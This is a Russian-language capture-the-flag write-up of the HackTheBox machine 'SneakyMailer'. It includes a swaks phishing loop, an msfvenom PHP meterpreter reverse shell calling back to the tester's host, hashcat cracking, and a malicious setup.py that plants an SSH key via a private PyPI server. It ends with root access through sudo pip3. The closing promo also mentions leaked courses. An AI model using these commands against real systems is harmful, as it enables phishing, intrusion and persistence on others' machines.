
Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.
В данной статье мы получим список адресов электронной почты, выполним рассылку фишинговых писем, разместим PHP шелл через FTP, выполним произвольный код благодаря PyPI и повысим привилегии через GTFOBins pip3.
Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.197, который я добавляю в /etc/hosts.
10.10.10.197 sneakymailer.htb
Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:
#!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -A $1

Видим много открытых портов, часть из которых отвечает за почту, 80 и 8080 — веб сервер, а также активны службы FTP и SSH, для которых нужны учетные данные. Как видно из скана, на веб сервер перенаправляет на на другой домен. Давайте добавим его в /etc/hosts.
10.10.10.197 sneakycorp.htbНа сайте можно найти список сотрудников и соответствующие email’ы.

Для получения всех адресов электронной почты советую использовать email extractor.

А теперь давайте откроем 80 порт и выполним многоадресную рассылку фишинговых писем с помощью swaks.
while read mail; do swaks --to $mail --from colleenhurst@sneakymailer.htb --header 'Subject: News' --body 'Look it: http://10.10.14.114/' --server sneakymailer.htb | grep 'To:' ; done < emails.txt

И видим, что какой-то пользователь переходит по нашей ссылке.

Давайте декодируем данные.

И получаем пароль, с помощью которого мы можем авторизоваться на почтовом сервере.
Entry point
В качестве клиента используем Evolution.




Вводим пароль при подключении и видим два письма.

В одном из которых есть пароль для разработчика (подходит для FTP) и упоминание PyPI, связанное с пользователем low.


Зайдя на FTP и получив некоторые файлы, замечаем, что это исходные коды сайта.


Давайте добавим поддомен dev в /etc/hosts.
10.10.10.197 dev.sneakycorp.htb
Таким образом мы можем разместить php шелл на сервере. Давайте сделаем это. В качестве нагрузки я использовал meterpreter.
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.114 LPORT=4321 -f raw > r.php cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php

После размещения файла в директорию dev запустим листенер.
handler -p php/meterpreter_reverse_tcp -H 10.10.14.114 -P 4321И после обращения к нашему файлу, получаем активную сессию.


USER
Осматриваемся в окружении веб-сервера, отмечаем для себя поддомен pypi, уже упомянутый в данной лаборатории, и находим файл .htpasswd.


Давайте найдем пароль.
hashcat --example | grep '$apr1' -A2 -B2

hashcat -m 1600 -a 0 pypi.hash ./tools/rockyou.txt

Найденный поддомен также добавим в /etc/hosts.
10.10.10.197 pypi.sneakycorp.htb

На самом деле, установка своего пакета дает нам возможност�� выполнения произвольного кода. Вот хорошая инструкция по созданию python пакета. Первым делом создадим директорию.

Теперь нам нужно создать следующие файлы: __init__.py, .pypirc, README.md, setup.cfg и setup.py (он и содержит выполняемый код). Ниже привожу код файла setup.py. В нем мы записываем свой ключ SSH пользователю low.
from setuptools import setup try: f = open('/home/low/.ssh/authorized_keys', 'a') f.write('ssh-rsa ... ') f.close() except: setup( name='ralfpack', packages=['ralfpack'], description='R', version='0.1', url='http://pypi.sneakymailer.htb:8080/ralfpack', author='ralf', author_email='ralf@ralf.com', keywords=['pip','ralfpack','example'] )
Создаем __init__.py (чтобы был), пустой README.md и setup.cfg (в нем указываем README.md).


И осталось сделать .pypirc файл. Задаем название пакета и конфигурации для него.

Загружаем все файлы на хост.

Получим нормальную оболочку и соберем наш пакет.
python3 -c 'import pty;pty.spawn("/bin/bash")' python3 setup.py sdist

Теперь загрузим его.
python3 setup.py sdist upload -r ralfpack

Наш ключ загружен, и мы можем смело подключаться по SSH с приватным ключом.

ROOT
Из настроек sudo узнаем, что мы можем выполнить pip3 от имени root.

Обращаемся к GTFOBins и видим инструкцию получения шелла.

Повторяем и получаем шелл от имени root.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, отчеты, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.